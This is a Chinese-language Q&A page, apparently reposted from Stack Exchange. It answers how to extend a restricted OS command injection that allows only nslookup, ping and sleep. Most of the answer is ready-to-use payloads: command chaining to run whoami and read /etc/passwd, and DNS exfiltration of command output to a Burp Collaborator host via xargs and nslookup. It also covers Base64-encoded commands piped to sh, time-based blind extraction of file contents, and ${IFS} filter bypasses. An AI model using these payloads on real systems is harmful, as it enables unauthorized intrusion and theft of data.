You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

受限OS命令注入漏洞利用求助:仅支持nslookup/ping/sleep命令

针对受限OS命令注入的扩展利用方法

根据你描述的情况,目标站点存在高风险的OS命令注入,但仅允许nslookup、ping、sleep这类基础命令,且拦截了命令替换(如$(whoami)),可以尝试以下几种方法扩展命令执行范围:

1. 尝试命令分隔符串联执行

目标可能仅限制了命令前缀,未完全拦截命令分隔符,可尝试用不同分隔符串联允许的命令和待执行命令:

  • 分号分隔:nslookup xxx.burpcolaborator.com; whoami
  • 逻辑与分隔:ping xxx.burpcolaborator.com && id
  • 管道符传递输出:nslookup xxx.burpcolaborator.com | /bin/cat /etc/passwd
  • 逻辑或分隔:sleep 0 || uname -a

2. 利用文件读写带出命令结果

如果命令替换被拦截,但允许文件操作,可先将命令结果写入临时文件,再通过nslookup/ping将内容作为域名后缀带出:

  • 写入临时文件:nslookup xxx.burpcolaborator.com; whoami > /tmp/result.txt
  • 读取文件内容并传递(若反引号未被完全拦截):nslookup cat /tmp/result.txt.xxx.burpcolaborator.com
  • 用xargs替代命令替换:cat /tmp/result.txt | xargs -I {} nslookup {}.xxx.burpcolaborator.com

3. Base64编码绕过过滤

若目标过滤了敏感命令名,可将待执行命令编码为Base64,再解码执行:

  1. 本地生成命令的Base64编码(例:whoami的编码为d2hvYW1p)
  2. 在注入点执行:nslookup xxx.burpcolaborator.com; echo d2hvYW1p | base64 -d | sh

4. 时间盲注判断命令结果

如果无法直接带出输出,可利用sleep的时间差来盲注结果:

  • 判断当前用户是否为root:whoami | grep root && sleep 10 || sleep 2
  • 逐字符猜解文件内容:if [ $(cut -c1 /etc/passwd) = 'r' ]; then sleep 10; else sleep 2; fi(若$(...)被拦截,可改用case语句或grep匹配)

5. 空格与命令路径绕过

  • 若目标过滤了空格,可用${IFS}或$IFS替代:nslookup${IFS}xxx.burpcolaborator.com;${IFS}/bin/whoami
  • 使用命令的绝对路径执行,避免过滤拦截命令名:/usr/bin/id、/bin/uname -a

内容的提问来源于stack exchange,提问作者Deviandorx

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.04 00:32:59